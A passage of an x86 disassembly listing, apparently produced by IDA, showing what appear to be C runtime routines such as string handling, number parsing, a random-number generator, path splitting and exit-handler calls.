		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		nop
		call	near ptr 77E75CB5h


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26A0273h
		nop
		test	eax, eax
		jnz	short loc_41C7D2
		call	near ptr 26A096Ch
		nop
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


